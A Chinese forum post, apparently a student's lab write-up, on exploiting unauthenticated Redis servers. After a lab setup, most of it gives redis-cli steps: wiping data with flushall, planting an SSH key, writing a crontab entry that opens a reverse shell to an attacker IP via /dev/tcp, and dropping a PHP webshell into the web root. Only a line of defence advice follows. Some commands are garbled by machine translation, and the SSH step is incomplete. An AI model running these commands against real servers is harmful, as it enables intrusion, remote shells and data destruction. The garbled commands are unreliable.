投稿文章:Redis的未授权访问漏洞利用总结

2019-11-15 18:01:33 0 1900

上一篇文章是我太草率,就贴了几张图,不是很认真,我检讨,本来打算审阅一个wordpress网站实验,不过和blue cms也差不多,所以打算交一篇漏洞利用的,大佬们,让我过吧,我没接触过什么实战,我还只是个臭学生,啊啊啊啊!!! 感谢tools里面的大佬们,我只是想多学些姿势,为以后做准备哇。望通过。

0x01 redis介绍

Redis是一个开源使用 ANSI C语言编写,支持网络,可基于内存亦可持久化的日志型,Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware的主持。从2013年5月开始,Redis的的开发由匹赞助。 Redis的因配置不当可以未授权访问。

攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。 攻击者可通过EVAL执行的lua代码,或通过数据备份功能往磁盘写入后门文件。 如果Redis的以根身份运行,可以SSH公钥文件,直接通给根账户写入过SSH登录受害服务器。

0x02本地漏洞环境搭建

靶机:CentOS6.5

CentOS的安装Redis的: wget [url]http://download.redis.io/releases/redis-3.2.0.tar.gz[/url]

tar xzf redis-3.2.0.tar.gz

cd redis-3.2.0 make 修改配置文件,使可以远程访问:

vim redis.conf 绑定127.0.0.1前面加上#号protected-mode设为无启动redis-server

./src/redis-server redis-conf

默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件。

0x03攻击测试nmap扫描服务器开启端口

1.redis基本命令连接redis

redis-cli -h 192.168.116.130

查看Redis的版本信息,一些具体信息,服务器版本信息等: 192.168.63.130:6379>info

把整个的Redis数据库删除,一般情况下不要用! 192.168.63.130:6379>flushall

查看所有键: 192.168.63.130:6379>KEYS *

获取默认的redis的目录,和RDB文件名:可以在修改前先获取,然后走的时候再恢复。 192.168.63.130:6379>CONFIG GET dir 192.168.63.130:6379>CONFIG获取dbfilename

2.攻击的几种方法

(1). 写SSH-密钥生成公钥然后使用私钥登陆

在以下条件下,可利用此方法 1.Redis的服务器使用ROOT账号启动 2.服务器开放了SSH服务,而且允许使用密钥登陆,即可远程写入一个公钥,直接登陆远程服务器

首先在本地生成一对密钥 ssh-keygen -t rsa

然后Redis的执行命令 redis-cli -h 192.168.116.174

保存以后直接利用公钥登陆SSH

(2).利用计划任务命令

利用计划任务执行命令反弹shell在redis以root权限运行时可以写crontab来执行命令反弹shell先在自己的服务器上监听一个端口 nc -lvnp 7999

然后执行命令:

root@kali:~# redis-cli -h 192.168.116.130

192.168.116.130:6379> set x "\n1 * bash -i >& /dev/tcp/192.168.63.128/7999 /dev0>&1\n" OK

192.168.116.130:6379> config set dir /var/spool/cron/ OK

192.168.116.130:6379> config set dbfilename root OK

192.168.116.130:6379> save OK

NC监听端口已经反弹回来壳

(3).往网络物理路径写的webshell

当Redis的权限不高时,并且服务器开着的网络服务,在Redis的有网页目录写的权限时,可以尝试往网络路径写的webshell 执行下列命令

kali下连接redis

redis-cli -h 192.168.116.130

192.168.116.130:6379> config set dir /var/www/html/ OK

192.168.116.130:6379> config set dbfilename shell.php OK

192.168.116.130:6379> set x "<?php phpinfo();?>" OK

192.168.116.130:6379> save OK

网页目录根据实际情况来定量,这里只是做测试,写入phpinfo(),只是见识一下这个漏洞,也看了网上的许多文章,自己实验了一下,感觉还不错。

0x04防护

限制登录IP 添加密码 修改默认端口

PS:表哥们,水平略菜,但有持之以恒之心,希望能同意我加入。

关于作者

夏天19981篇文章3篇回复

虽菜,但一直在努力。

评论0次

要评论?请先  登录  或  注册